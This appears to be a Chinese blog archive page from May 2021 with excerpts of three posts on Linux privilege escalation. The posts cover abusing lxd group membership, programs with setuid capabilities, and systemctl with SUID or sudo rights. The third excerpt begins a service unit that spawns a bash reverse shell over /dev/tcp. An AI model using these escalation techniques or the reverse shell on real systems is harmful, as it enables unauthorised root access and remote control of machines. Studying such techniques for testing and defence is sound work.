05 2021 档案
摘要：当当前用户具有lxd权限时（通过id命令可以查看），可以通过创建任意镜像，并将当前系统根目录挂载到镜像mnt目录下，然后通过chroot命令即可获取当前系统的root权限 一、使用lxc创建一个ubuntu容器并导入到lxd中（通常网上资料都alpine镜像，但其实可以使用任意容器）:*如果本地没有
阅读全文
摘要：Capabilities是linux的一种访问控制能力，能够更精细化的将操作系统权限（网络，文件等）赋权给应用程序，其中就包括设置uid和gid的权限。因此具备cap_setuid和cap_setgid权限的程序可以用来进行权限提升 一、查找设置过capabilities的应用程序 /usr/sbi
阅读全文
摘要：当systemctl具备suid位或sudo权限时，可以用来进行提权。 一、首先编写一个service unit用来被systemctl加载 echo '[Service] Type=oneshot ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.
阅读全文
